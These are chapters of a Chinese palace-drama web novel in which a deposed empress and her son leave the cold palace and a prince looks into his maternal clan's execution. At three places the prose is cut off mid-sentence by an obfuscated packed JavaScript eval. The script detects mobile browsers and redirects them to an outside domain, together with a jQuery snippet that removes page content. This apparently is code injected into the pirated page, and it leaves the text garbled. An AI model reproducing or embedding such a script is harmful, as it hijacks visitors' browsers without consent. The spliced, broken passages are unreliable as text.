祝大人垂首沉默候在一旁，眼见御笔蘸着朱墨，落笔成文，印玺蘸着武都紫泥落下，这手谕便拟成了。 孟雍抬眼见尚泓，说道：“来得正好，将这手谕送去冷宫吧。” 穿过万千宫阙，西苑的西南角飘起阵阵炊烟，萦绕在棠梨树枝头。 冷宫里纵缺衣少食，宫人们也会积攒下米面与油盐，用药材混着馅料包进馄饨里，为在这天勉强过上一次完整的冬节。 往年都是如此的。 今年却与从前不同了，炭火柴薪、衣物吃食如流水般送进了西苑，门外也没了对他们颐指气使的人。 宫人们不知转变为何突如其来，只知多了暖和的冬衣，填满米缸的食粮，不必再为了节日过后的冻馁而发愁了。 徴音端着刚刚出炉的羹汤，掀了帘子进到陆皇后房中，笑道：“夫人，该用饭了。今日我给夫人炖了盅羊肉羹，冬日吃了暖身，您起来尝尝吧。” 陆皇后望着碗底升起的热气，苦笑着道：“难为你有心，只是我还没什么胃口，先放着吧。” 徴音劝道：“为了这碗肉羹，我在小厨房里守了一个时辰。夫人且尝一两口吧，若真不喜欢就不吃了。” 羽音挪了桌案过来，从盅里盛出一碗羊肉羹，坐在榻边侍奉陆皇后用饭。 陆皇后只尝了一口，就察觉出了异样，问她道：“这肉羹里加了什么？” 羽音听了顿觉惊慌，不分青红皂白就对着羹汤一顿翻搅，边搅边道：“你胡乱加了些什么？夫人尚在病中，忌辛辣，不可用山姜椒子，你这么快就忘了。” 徴音道：“没用那些佐料，是我自作主张加了山黄皮，可以祛腥膻。” “山黄皮……”陆皇后细细品着口中滋味，已有数年没有尝过这个味道了。她说，“让我想起在家中做女儿的时候，先母也喜欢在煮肉羹时加一些。你怎么会用它来炖煮羊肉？” 徴音说：“是鸣竹教我的，她说夫人会喜欢。” 陆皇后抿开舌尖的酸涩，抬手遮住眼，后知后觉地笑了起来。 徴音却见她的衣袖之后，藏着两行清泪。 她说：“是啊，本该喜欢的。” 徴音也长舒了一口气。 徴音端着见了底的汤碗出去，见三皇子也刚从书房里出来，于是欢喜地迎上前，喋喋不休地邀功：“夫人睡了一个晌午，气色好了许多，醒来时吃完了一整碗肉羹，多亏了这些山黄皮，夫人才肯多进食一些。” “山黄皮……”孟闻听着这个极陌生的词，颇为诧异，“是赏赐里的吗？” 徴音道：“不是，是鸣竹送来的。” 孟闻问：“她何时又来过？” 徴音道：“昨日，在送赏赐的公公来过之后。那时您在屋里读书，便没有打搅您。” “还有吗？”他问。 “还剩下一些，不多了。” 徴音从厨下端出一个竹编笸箩，孟闻看着竹笸箩中晒成褐色的果干，不禁猜想，此物产自岭南，她在深宫之中，如何弄得到这东西？ 孟闻道：“她有没有说起过，她如今在那个宫当值？” 徴音细想一番，回道：“似乎没说起过，或许是掖庭的宫人吧。” 适逢此时，高墙外的脚步声打破了院内的清净，冷宫外来了一群不速之客。 尚常侍片刻不歇，携一道手谕绕过千百堵宫墙送至冷宫，时隔七年，陛下终于下令召见三皇子。 宦官宣读的一字一句全都被搅碎在风里，冷宫里的人并未因此生出半分喜意。直到头顶上传来的声音落了，孟闻停在原地迟迟没有起身上前。 尚常侍道：“三皇子怎的还不起身？” 孟闻道：“陛下召我何事？” “此事臣也不知晓，臣只是负责传达陛下的手谕。”尚常侍催促道，“三皇子，快快去更衣吧，莫让陛下久等了。” 陆皇后站在檐下，扫了尚泓一眼，转而看向孟闻唤道：“闻儿，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“儿拜见父皇。” 孟闻以手加额，朝着那虚晃的人影重重顿首，寒意从掌心袭来，每一寸发丝都叫嚣着抗拒。 “闻儿，多年不见。” 这一声呼唤许久才从屏风后传来，他们二人隔了太远。 阻在父子之间的何止是鸿嘉殿与掖庭宫，还有七载春秋，以及陆氏全族的性命。 物是人非。 侍者扶着皇帝缓缓从屏风后步出，待其坐定在书案前，便掩门退了出去。 孟壅对着他长叹道：“你已长成人了。” 孟闻没有说话，只抬眼看去，见他也发须花白，满目沧桑。 孟壅提笔蘸着未干的墨，在白净宣纸上落下方方正正的“睢言”二字。 “睢言、睢言……”他反复咀嚼这二字的寓意，“你及冠这年，阿父不曾亲自为你加冠，韫之她为你取的字，是睢言吗？” 孟闻道：“是。” 孟壅道：“这些年，她可还安好？” 孟闻答：“安好谈不上，勉强度日而已。七载不相见，父皇心中没有半分愧疚吗？” 孟壅道：“鸣鸾宫已空置了多年，后位也如是。凤印就在那里，谁也不曾拿去。朕想见她时，是她不愿见朕。” 孟闻道：“可父皇知晓，母亲她想要的不是皇后之位，是公道，是真相而已。” 孟壅搁下笔，无力靠在座上，扼腕叹息：“朕也想过挽回，可是过往不谏，还揪着过去那些事不放，有何用呢？” “父皇——”他攥紧衣角膝行上前，对上帝王一双慈目。 “起来吧。”孟壅在座上垂目看他，“这么长时日你在西苑受苦了，当作是补偿，为父许你一个恩典。” 孟闻并未起身，以手加额道：“儿恳请——” 孟壅打断了他：“只此一个，想好了再说。” 长久地顿首过后，孟闻抬眼望向那描金漆木案，书案之后的人面目模糊。 皇帝在问他，是要权柄还是要真相。 8. 掌中栖雪（八） 漫天风雪，宫门破败。 孟闻不记得自己是怎么走出了鸿嘉殿，只记得炭火温暖，生父冷言。 回首时有紫气自东来，可他还是选择回到了那座偏远的宫殿。 没等他细想，羽音端着后厨煎好的药过来，打断了他的思绪。 “殿下，今天的药煎好了。” “好，辛苦了。” 孟闻装作无事发生，从食案上端过药碗，如往常一样侍奉在陆皇后榻侧，温声笑着：“儿为母亲尝药。” 陆皇后抿着唇不言，他刚从鸿嘉殿回来，此事凝成了心中芥蒂，纵有万千疑惑，却如鲠在喉，一个字也问不出口。 他察觉了母亲心思，盛了一勺晾凉送至她嘴边，如母亲哄幼时的他那般温和劝道：“今日的药煎得刚好，没有昨日的苦。” 褐色的汤药经由唇齿滚入喉肠，陆韫之却觉得这药极苦，苦得她鼻腔酸涩，眼泪都要冒出来了。 “母亲，您怎么哭了？” 孟闻搁下药碗，既心虚又慌张，隔空几番摸索才从羽音手中接过帕子，替母拭去眼角的泪。 陆皇后推开他的手，偏过脸道：“你不必顾我。” 孟闻道：“阿母是怪我去了鸿嘉殿？” “不。”她垂下头去拭泪，自责不已，“这么多年来，是母亲耽误了你啊。” 孟闻道：“母亲为何这样说？当年外祖父与舅父皆为奸人所陷害，他已下令彻查当年之事，请母亲再等一等。” 已等了一个七年，至于要再等多少时日，他也说不准。谁也不知道这一场雪还会下多久。 陆皇后心灰意冷道：“他若真在乎真相，又何必隔了数个春秋？让你眼见仇人鸡犬升天，等到卷帙不存，证人不再，还能查出个什么？” 孟闻道：“可是母亲，困在这里才是什么也做不了，更无法还外祖一个清白。在低檐之下，日复一日等着门外的施舍，就好似等死一般。儿知道当年之事成了母亲的心结，已困住您七年，不忍由它困您后半生。” 陆皇后抬手抚他鬓边，轻叹一声：“痴子。” 叫她如何忍心将旧年过往尽数拖出，告知他龙椅上的天子是怎样的刻薄寡恩，曾为她筑高楼，也让她坠下高楼。 以族人身死为代价，她才看清了枕边人的真面目。贪污、通敌、谋逆……种种罪责施加于陆氏，归根结底只是为了他自己，为了翦除那些威胁皇权的羽翼，好让他自己能在那位置上坐得更稳一些。 多年以后，待帝王的目的达到了，再还她一个无关紧要的真相。 她喃喃自言道：“他岂会不知晓真相？只是不在乎而已。” 几日后，冷宫里又迎来了一位不速之客，也是七年来第一个明目张胆前来拜访她的客人。 华贵的步辇停在了后宫最西边的宫苑门前，却连个出来相迎的宫人都没有。 彼时冷宫的人都在忙碌，有的在树下拾薪，有的灶头烧着锅台，厨下被火烤得又干又热，灰瓦屋顶上冒起了炊烟。 徴音和羽音坐在小厨房外，拿一块炭火熏过的姜，给彼此擦拭手上的冻疮。 敲门无人应，两个裹着青色夹袄的宫人推开了左右两扇门，另一个宫人搀扶着一位身量纤细的宫装妇人走进门来。 妇人缓鬓斜髻，髻上簪两簇银步摇，广袖与蔽膝自腰间垂落，随风而摆。已去了繁琐的首饰，只着素裳，仍与此地的荒凉破败格格不入。 妇人正是六皇子的生母——栖梧宫的杜修容。 陆芃也随她一道来了，在主子身后搀扶着，目光却忍不住往这破败的屋舍里瞟。 羽音见了屋外那群人，当即扔了姜块，拍了拍裙子起身冲出门去，气势汹汹质问道：“你们是何人？青天白日闯进门来，好生无礼！” 陆芃向她行了一礼，说道：“栖梧宫的杜修容，来见你们夫人，能否劳烦你前去通传一声？” 羽音斜着睨她一眼，道：“夫人已休憩了，不见客。” 陆芃还欲说些什么，被杜修容抬手屏退了。 杜修容抬眼打量着四周，目光自高大的棠梨树落到残破的窗户上，她施施然开口道：“做妹妹的久矣不曾来看过阿姊，阿姊对我有怨，是不欢迎我了？” “多年不见，你我也无旧可叙，今日又来做什么？” 廊下传来一道庄严的女声，三皇子闻搀着母亲从屋内步出，冷眼看向那庭院中人。 深宫苑里旧相识，一见应如故，只是再见鬓斑白，转头朱颜改。 杜修容望着廊下形容憔悴的女子，几乎不敢相认。她走上前来，温言软语道：“冬至之日本该阖宫团圆，请不得你出去，我只能亲自来了。” 陆皇后冷然道：“年年如此，怎么今年想起来团圆了？冷宫罪妇，不堪与万岁同席；蓬荜陋屋，难容千金之躯。修容请回吧。” 杜修容道：“好歹当初姊妹一场，好不容易见上一面，不必如此着急赶我吧？” 陆皇后道：“无利不起早，你此番来见我，是替他当说客来了？” 杜修容摇摇头，道：“不是为了章华宝殿的陛下，是为你，也是为我自己。陛下病笃，我守在鸿嘉殿外那一月想清楚些事情，忽而想与阿姊好好谈一谈，阿姊能否赏面？” 孟闻抬手拦在了陆皇后身前，冷声道：“母亲与你没什么好谈的，徴音，送客。” 杜修容不理会他，单单望向陆皇后，抬袖掩面笑道：“可阿姊就不想知道，那日陛下召三皇子入鸿嘉殿，曾允诺了他什么？” 孟闻道：“母亲勿要信她，当日鸿嘉殿内只有儿与父皇两人，她根本无从知晓。” 杜修容又道：“你就不想知道，三皇子为此放弃了什么吗？” “住口！”他横眉冷目呵斥一声，当即就要遣人逐客，却被陆皇后拦了下来。 陆皇后侧目看了他一眼，叹息一声。 “你既说要谈，便好好地谈一谈吧。” 她随即转身进了屋，吩咐徴音搬张席子过来，请杜修容入座。 所有人都被隔在门外，屋内只有隔案相对跽坐的二人。 茶炉下的炭火燃得噼里啪啦，时不时溅起几点火星，一声声地穿插在茶水的滚沸声里，平白令焦躁涌上心头。 陆皇后率先开口道：“他让你转告我什么？” 杜修容道：“我不是为做陛下的说客而来。旧事已过，阿姊须得朝前看了。” 陆皇后垂下眼睑，苦笑道：“若我能看得开，就不会置身此处了。” 杜修容劝道：“阿姊就为了争那一口气，平白受了七年苦，倒头来熬垮了身子，什么也没争到。” 陆皇后道：“我知过往不柬，死者不可复生，可我亦心非木石，家族突遭横祸，父兄惨死，你让我如何每日对着始作俑者强颜欢笑？若非闻儿那时年幼，我怕是已随父兄去了，何苦强撑至今？” 杜修容道：“你既是为了他，何不多为他谋算一些？本该享有的王爵封地、千金食禄，他一样也不曾有。贵为皇嗣却也困毙笼中，坐井观天，他又何其无辜？” 陆皇后道：“枉你苦心劝我，闻儿出了冷宫，对你儿子又有何好处？” 杜修容道：“六郎尚年幼，论文韬武略哪里比得上他两个兄长？论身后靠山哪里比得上薛家和陈家？你久在冷宫对门外事不闻不问，怕是不知道四皇子与五皇子为何夭折。转眼间薛家与陈家都已如日中天了，思来想去，大皇子与二皇子早早就离章华殿这么近了，终有一日会争个你死我活。我不敢奢望他们日后会顾及手足之情，留我儿一条生路。为了六郎，我不得不早做打算。” 陆皇后道：“所以呢？你想闻儿也去淌这趟混水，以此来保你孩子的平安？” 杜修容道：“当初从王府到宫城，你我不也是这么扶持着过来的吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361913|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆皇后摇了摇头道：“当时的一路太苦，我不愿闻儿走上同样的路。” 杜修容道：“你以为置身事外便可保他顺遂半生吗？既已生在帝王家，哪里由得了他去选？昨日陛下来我宫中，见桌上放着一碟鹿肉脯，忽然说起三皇子年少时的事。” 提及孟闻，陆皇后才肯抬眼看她。 她既而说道：“说的便是多年前，他因一时恻隐，被大皇子夺去母鹿的那一件事。我听出来了，陛下有怨责，责他不该如此。阿姊应该能猜到，陛下为何突然有所退让，下令彻查当年旧事？那是三皇子去求来的，是拿了另一份恩典去换的。” 至于那份恩典是什么，无人说破。 那是皇权阶陛下，鸿嘉正殿前独此一份的偏私。 杜修容道：“陛下已生了这个心思，他无论如何都逃不开。” 她说完时，对坐的废后早已缄默了良久。啜着一口苦涩的茶，带着苦笑，坐在残破的宫苑，漏风的屋室正中，如蜉蝣一点。只余残躯一副，却依旧有人不管不顾为她这副残躯奔忙。 见她不言，杜修容倾身上前握住她的手，声音近乎哀求：“阿姊，当年是我对不住你，只当是我求你，朝前路看吧。” 陆皇后无声拂落她的手，轻声叹道：“我早就什么也没有了，只剩下一个闻儿。可你今日说的这番话又像是在告诉我，不论我作何选都是错的。当年错，今又错。” “阿姊——” “你走吧！不必劝我。”陆皇后低垂着眼，看茶案上的粗瓷茶杯从始至终没挪动过半分，于是笑道，“冷宫里只拿得出粗茶招待，让你见笑了。” 杜修容抿了抿唇，难为情地笑了下。 她理了理衣衫离席，精心维持着另一人早就抛弃的体面与礼数。 一人求荣华，一人求公道，怎么走得到一处去呢？ 紧闭的屋门从内打开，屋外候着的人目光即刻迎了上去。 陆芃忍不住向前迈了半步，恨不能走近些，亲眼看一看屋里的人，却还是没胆量上前，最后只停在孟闻身后。 只有修容一人从屋内出来了，她淡淡回眸望了一眼，遗憾道：“回去吧。” 陆芃顺着咳声悄然往窥向屋内，仅仅看见一个落寞的背影。正是她的姑母，当年才冠京城、母仪天下的陆家女郎。 可眼下她藏着昏暗的影子里，垂着头似有些佝偻。 此情此景，陆芃没了再去窥第二眼的勇气。 然她也怕一旦踏出这道门槛，便再难相见，相认又是何年？ 姑母太过执拗，也因此尝尽苦楚。 人走了，炉中的茶水也停止了滚沸，屋中还弥漫着淡淡的棠梨香。 两扇木门还敞开着，陆皇后转头看着门外立着的人，缓缓道：“闻儿，你过来，我有话要问你。” 孟闻踏过门槛，垂首拢袖而立，唤了一声：“母亲。” 随后等着她的质问，或是叱责。 可是她没有，她只是轻声唤他过来坐下，倒掉那杯已经凉透的茶，想为他另斟一杯。 “这些事，让儿来做就好。”孟闻拦住了她要提茶壶的手，又叮嘱她说，“甘棠性寒，这茶母亲少喝一些。” 她没有提起鸿嘉殿的事，只是一遍遍地叹息：“我儿因我受苦了。” 孟闻道：“能与母亲相伴，儿从未觉得辛苦。母亲在冷宫一日，儿便相随左右，绝不离弃。” 他是情愿甘之如饴的，只是想到母亲一天天将自己困在颓圮的垣墙里，难免酸涩。 陆皇后淡淡一笑：“少年之时，谁人不是心在山河，志在四方。我如今想清楚了，自囚于西苑，是我自己选的。你若有想做的事，阿母不拦你。” 他默默添茶，说着那颇为无力的许诺：“当年真相会查清的，请母亲再等一等。” 只是今年雪何时会停，春何时至，谁也不懂。 9. 掌中栖雪（九） 那日，陛下与尚书令、崔太常几人在御花园中赏雪，忽然说起故园的棠棣树。几位臣下心中了然，陛下这是思念故人了。 果不其然，等了几日雪晴，宫人们忙着清扫掖庭通往冷宫的那一条宫道。 陛下已恩准陆皇后与三皇子重回鸣鸾宫，冷宫里已经没有人了。废后入冷宫以后，陛下就再也没有生过立后的心思。旁人都在猜测，此番会不会恢复她的皇后之位。 竺影与二皇子途径那条宫道时，蓦然听到一阵摇铃声，不久就看到声势浩大的仪仗从掖庭里出来，沿着青石板道向东而去。 孟晓只当是看个热闹，竺影自觉垂首退至道路一旁，悄然窥着摇摇晃晃的步辇从她面前而过。 辇上的漆金映雪，华盖边上系着金铃，垂下的绸带飘如流云。那人拥着一件崭新的狐裘端坐于其上，一手扶在辇上，细细摩挲指间的白玉扳指。 鸣珂锵玉，金铃当啷，如在漫天飞雪的宫城见了神仙中人。 视线再往上时，轻纱遮去了面靥，叫竺影看不真切。 他兀自垂眸静坐，没向沿途施予半分眼神，也没回望西苑一眼。 直到步辇抬出很远，孟晓才唤回她的神思：“在看什么？” 竺影回过神，却道：“我见有人金玉其外，却是满身死气。” 其实她本想说，在看一个将死之人。 说的不是三皇子，而是走在他前面的那位——刚出冷宫的陆皇后，那个困居在暗室，连天日都不肯见一见的人。 今日一见，依旧面容僝僽，那是一身金缕衣都遮不住的死气，她的确没几年好活了。 孟晓轻轻一笑：“这样不怕死的话，就不怕传入了他耳朵里？” “他听不到的。” 竺影望向宫道另一端，贵人的仪驾已走出很远，早看不见影子了。 从冷宫出来的仪仗行至鸣鸾宫，在宫门口停了辇。 孟闻抬首望着新修的正门，与记忆当中的故居相去甚远。匾额上“鸣鸾”二字描了金漆，在雪晴的天日里熠熠生辉。 这里曾是他生活了十三年的地方，也是阔别七年的屋宇。他已远离权力争端七年，而今又踏入此地。 许是他的父皇面对朝中尾大不掉的势力，急需一个新的掣肘，才想起要把他推到时局中来。 所有的祸端自此地而生，所有的风雨朝此地而来。唯因这里是皇后的寝宫，是后宫掖庭女子争相向往，前朝外廷臣子妄图攫为己用的高台。 此前他所领教的全部阴谋诡谲，全因他身负的殊荣，因他承不住的权位。 他扶陆皇后走上踏跺，跨过门槛，一步步往深处走。 十余个宫人在庭中来来往往，陆陆续续将行李物件搬进屋子里。 寝宫里里外外都翻新过，装潢摆件都是新添置的。龙凤绕柱，雕梁画栋，原本色泽已经暗淡无光的图画，工匠又用彩漆重新描绘了一遍。 一如当年金碧辉煌。 宫殿原本的主人正站在廊下，看着廊外经年长青的竹丛，地上翻出了一片新泥，那儿还有两株新移栽到此处的棠棣，树叶零落，堕了满地。 孟闻走向外廊，温声道：“母亲，坐下歇息一会吧，屋里暖和些。” 陆皇后神色疲惫，轻点了点头。 羽音前来搀扶她时，她却又说：“就在此处坐着，不用到屋里去，我不觉着冷。” 羽音便去挪了坐席过来，陪她在廊下坐着。 徴音方从外头回来，径直向三皇子走去，朝他行礼道：“殿下，我去打听过了，掖庭宫里没有一个叫鸣竹的人。” 孟闻听了，并不觉得意外：“兴许不在掖庭呢？” 又或许她连名字都是假的。 徴音问：“那还需要再去盘问吗？” 孟闻道：“不必了，我目下还有其他事要忙，你同羽音照顾好夫人便可，其余之人我信不过。” 自三皇子受召入鸿嘉殿以来，已经过去一旬有余，刑部重新摊开尘封多年的案宗，秘阁里翻出了落灰的卷帙。 他得了陛下应允，开始暗中调查此事，重新捋起当年案件的蛛丝马迹。 起初，北地逢上一场十年不遇的寒灾，赈灾款却迟迟不达，致使数万灾民死于冻馁。 那时尚书陆澄奉命驻守并州，值此休养生息之际，北边的乌护部落突然来犯，夺走了并州以北十一城，修建了四年的观星楼也在一夕之间毁于大火。 皇帝下令彻查此事，竟查出朝中蛀虫累计贪下北地赈灾款四百万，下狱问斩的官员达数百众，余下抄家的抄家，流放的流放。 不久，有人告发陆尚书不仅贪下了北地赈灾款，擅自动用北地军费，更是勾结前朝余党，放任北地官员胡作非为，才使外族得以趁虚而入。 朝中派人搜查陆尚书府邸，还未搜出勾结前朝余党的证据，却先搜出一篇檄文，文中贬斥皇帝“暴戾恣睢，群怨孔彰”，皇帝见后大怒，将陆尚书革职下狱。 檄文一事是陆尚书所为还是遭人构陷，此事未有定论，陆氏族人尚在狱中等候发落。紧接着，一纸联系前朝余党的书信呈到了陛下面前，其上钤有陆尚书私印，正是这份证据直接将陆氏一族送上了断头台。 一切都发生地太过突然，诸多矛盾堆积在了一起，以至于时人来不及细想，便匆忙断了案。 直到宁朔九年的春雨淋透刑台上的血，真相一如浸在烟雨朦胧中的万千楼台，琢磨不清。 当年的真相全都被掩盖过去了，无人敢提起那桩过往。史官吝啬于就此事添上一笔，秘阁所藏的卷帙也大多对此含糊其辞。 这段时日，三皇子成了秘阁的常客，陛下明面上让他进秘书监跟随祝大人修习，实际是让祝从嘉协助调查旧案。 孟闻只带了商音与角音两个侍从，在落满灰尘的卷宗里挑捡，想寻到些线索，有时一翻就是整日。 祝大人依旧坐在临窗的那个位置上，看着他来来往往，最终无功而返。 三皇子望着他欲言又止。他对这位“天子近臣”不甚了解，更不愿轻易劳烦一个病人。 从嘉直言道：“陛下有吩咐过，三皇子若有疑虑，尽可以问下官。” 孟闻停住，看着眼前面目苍白的年轻人，思忖道：“确有疑虑。我知道这里只存放定罪的卷宗，不会留有其余人的罪证。然而当年之事牵扯甚广，必然会有漏网之鱼。所以想问一问大人，当年与陆尚书一同去往北地的，除尚书左仆射王若外，还有谁？” 祝从嘉缓缓道来：“当年王大人与陆大人督北三州军事，同时兼任观星楼督建之事。容桢，容大人，从前协助陆大人修建观星楼，如今官至侍郎，兼给事中。至于跟随容大人的两位副手，一名徐彦，一名沈亭，早在当年被下狱问斩。自八年九月始，北地渐入寒冬，陆大人那时负责与朝中派出赈灾的官员对接。后来东窗事发，凡是经手过赈灾钱粮的官员，也都难辞其咎，其中有十一人斩首，二十三员抄家、流放。” 孟闻道：“想不到祝大人常年在秘阁，竟会对北地之事有所了解。” 祝从嘉道：“下官是云琅人士，生在北地，知晓一二倒不是什么难事。” 孟闻又问：“当时朝中派往并州，与我外祖对接的官员是谁？” 祝从嘉道：“是前任竺太常，现流放交州。” “交州……”他低头自语，不知在想些什么。 祝从嘉提醒他道：“此案了结已过去七年，许多卷帙没能保存下来，从文书入手有如大海捞针，倒不如从生人身上找线索。检举陆大人的证词由季氏父子呈上，他二位现如今在中书省任职，殿下或可以从他们身上查起。” 孟闻又问：“既有人举证，证据从何来？” 祝从嘉道：“从陆府门客士端家中搜出来的。” “士端何在？” “呈证后，畏罪自裁而死。” “死无对证，如此多的蹊跷，竟也能断案？” 祝从嘉轻摇了摇头，发出声似有若无的叹息：“盛怒之下，谁人又敢为其辩解呢？此事多年无人再提及，陛下容许再查，已是分外之情，殿下须得知晓分寸。” “多谢大人提醒。”孟闻朝他点了点头，又拢着几沓书页往书架尽头去。 待到几日后，中书舍人季常进宫，三皇子等候在他的必经之路。 他本与两位同僚并行，见了孟闻， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361914|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是一愣，随后拢袖行礼。 “见过三皇子。” 睢言道：“季舍人不必多礼。” 多年过去，少年已成青年，后者已年近半百。 他老了，或许也没那么老，只是官袍陈旧，在青年面前一副做低的臣子姿态，佝偻了些许。 孟闻道：“不知季舍人可有闲暇，移步秘阁喝一杯茶？” 季常虽心有疑虑，却还是向两位同僚告辞，与三皇子道一声：“殿下相邀，却之不恭。” 今日秘书令、丞两位大人休沐，阁中只有两个内官值守。 二皇子到秘书监时，季舍人早已离去了。 进了门却不见人，拢共不过二层楼，孟晓循着窸窸窣窣的声音寻去，只见个锦衣玉冠的青年坐在两扇书架前翻阅卷宗。 他也不上前打招呼，只靠在一旁架上，随手取了一本书翻看。 直到三皇子的侍从商音捧书而来，向他行礼。 孟闻顿时收起书卷，仰头朝他望去，恰见他偏头一笑： “三郎，别来无恙否？” 孟闻从一堆卷帙中起身，带起些灰尘。随手拂了拂衣袖，便朝孟晓拱手，喊了一声“皇兄”，不冷也不热。 孟晓合书塞回架上，朝他走去。 “听闻你一出冷宫就忙得脚不沾地，想见同你上一面，还得来这里。” 孟闻问：“有事？” 孟晓道：“无事。” 孟闻单单抬眼看他：“难道你跑这么远，是为一句寒暄的么？” 孟晓反问：“难不成你指望我怀揣些别的心思？” 睢言收拢了几份卷宗，不欲再与之多言，要往别处去。 “我来时见到了季舍人。”经过他身侧时，孟晓突然道，“你见他，可问出什么来了？” 孟闻警觉地看向他。 明谌拍了拍他的肩，似安抚道：“躲我做什么？我都舍得帮你这么大一个忙了，还能害你不成？” 睢言道：“你若能在孟觉手里讨到半分好处，会想起我来？” “嗤——”孟晓没忍住笑出了声，“就这样对待你的兄长，给你雪中送炭的恩人？” 雪中送炭…… 他似乎想起些什么。 “原来那宫人也是你派来的？” 明谌却故作不懂：“什么宫人？” “懒得与你说。”睢言便又将他冷在一旁，兀自在架上翻找。 两人你一言我一语地发问，却都没从对方口中得到半个字答复，皆是含糊其辞，假假真真。 明谌无奈叹道：“说到底是手足，同在宫里长大，又在太学有过一段同席共研磨的情谊，你我又何必如此？” 睢言敲了敲手中卷宗，说道：“前提是陈氏与当年之事毫无干系，皇兄能担保吗？” 孟晓道：“我倒是想替他们担保，你也是不会信的罢？” 孟闻只顾着找书，不答话。 孟晓摆了摆手，俨然一副怒其不争的姿态：“罢了。你还是和少时一样偏执。” 前朝沸沸扬扬的党争他不闻不问，依旧浸在这一堆陈年芝麻烂谷子事里，揪着一些旧事不放。怕是忘了请他出来是做什么的了。 今日一见，也仅是寒暄，孟晓没再多留。 他走时，那人在他身后问了一句：“我是不是该预先恭喜皇兄？” “恭喜我什么？” 孟晓止住脚步，问完了才后知后觉反应过来，许是恭喜他不日将出宫开府。 “恭喜”二字如火上浇油，惹得明谌心中颇为躁郁。 可是见三郎眼中是不带调侃的诚恳，明谌又不怒反笑，到底是自己在泥泞里待了太久，竟不信世间有赤忱，于是自嘲道：“这有什么好恭喜的？” 睢言不知怎么接话，便换了个话头：“的确该谢皇兄，本应由我去拜访你的，不想你会亲自过来。可我必须得先忙完手头的事。” “天真。”语气刚缓和些，孟晓又毫不留情地奚落他，“你当这是什么小事吗？是一朝一夕就能查清楚的？眼前人与过往事，孰轻孰重你总该分得清吧？” 他固执道：“我既为过往，也为眼前。” 10. 掌中栖雪（十） 封王之事很快就有了着落。 皇帝当着一众朝臣的面，下旨封二皇子晓为齐王，食邑八千户。在上京赐下府邸，赐婚崔家。 这是岁暮里难得的喜事，许多宫人兴冲冲奔往静和宫道喜，期盼着在主子心情好时沾点赏赐。 静和宫的主子久承圣宠，出手极为阔绰，那些得了赏赐的宫人又闹哄哄离去，一路上说尽她的好话。 喧闹过去，正当紫裳问她：“夫人需不需吩咐厨房，今日多备几道菜肴，待殿下回来了，好好庆祝一番？” 宜夫人望着窗外，却突然叹了口气道：“不必，这样的天气，再多的菜肴也是易冷的。” 竺影与紫裳都在屋内候着，忽闻廊外传来一阵急促的脚步声，有人自宫外奔来，宫人们通报不及，只能焦急跟在他身后。 二皇子回来了。 这一路走得匆忙，他连衣裳都没换下，停在廊下时尚喘着粗气，在冷天里凝成丝丝缕缕的热气。他什么话也没说，隔着门扉与竺影对视了一眼，眉宇间隐隐有怒气。 谁人都看出二皇子心有不忿，也不知其间出现了什么变故，阖宫的喜意在他回来后烟消云散了。 孟晓在门外平复了心情，才推门进去，只与夫人对视着不发话，气氛很是微妙。 直到夫人先发话，吩咐她们：“都下去吧。” 竺影与紫裳如获大赦，即刻抬脚踏出门去，掩上门的一瞬，竟觉屋外寒风吹得人多舒坦几分。 就在一墙之隔的地方，隐隐约约传来争执之声。 孟晓道：“为何赐婚的事，我不知晓？” 宜夫人道：“是你父皇的意思。齐地富饶，崔家亦是声名显赫，崔家女公子才名在外，你到底有什么不满意的？” 孟晓道：“若无母亲首肯，父皇会答应吗？母亲纵这前程说得千般好万般好，可从没问过我，这些是不是我想要的。” 面对他带着指责的质问，如斯大逆不道，夫人却只云淡风轻一言以复：“由得了你选吗？” 明谌紧攥着拳，一言不发，乃至玉扳指在食指上磨出了红痕。 “你说你不想要这些，不想娶崔家女，可你看看这前朝与后宫，哪一个走上高位的人不靠拉拢，无需帮衬？是不是要看到你那些兄弟都压你一头，要看到陈家落得和陆氏一样的下场，你才会满意？ “你能有今日的优渥，凭的是读得好书，猎得了鹿？若无陈家在背后，你父皇会多看你几眼？若再得崔家相助，将来分给你的只会多不会少。你要喜欢什么的宫婢，做过什么出格的事情，我从未拦过你，唯独此事没有商量的余地！” 竺影靠在墙外静静听着，不自觉攥住了衣角。 倒也像她所了解的宜夫人，尚书令的长女。 至于二皇子后来说了什么，她没听清。 夫人手中的杯盏砸在窗上，在窗纸上洇出褐色的茶渍，瓷杯摔了个四碎。 只听宜夫人骂道：“你要是真有本事，就拿着这封圣旨，去叫你的好父皇收回成命！” 一场争执不欢而散。 没过多久，二皇子从屋内步出，宫人从两侧鱼贯而入，收拾起屋内的满地狼藉。 竺影与他隔了几丈的距离，见他一步步走近直至擦肩而过，最后不甘地停在她身后几步。 “你就没什么要说的？”孟晓问她。 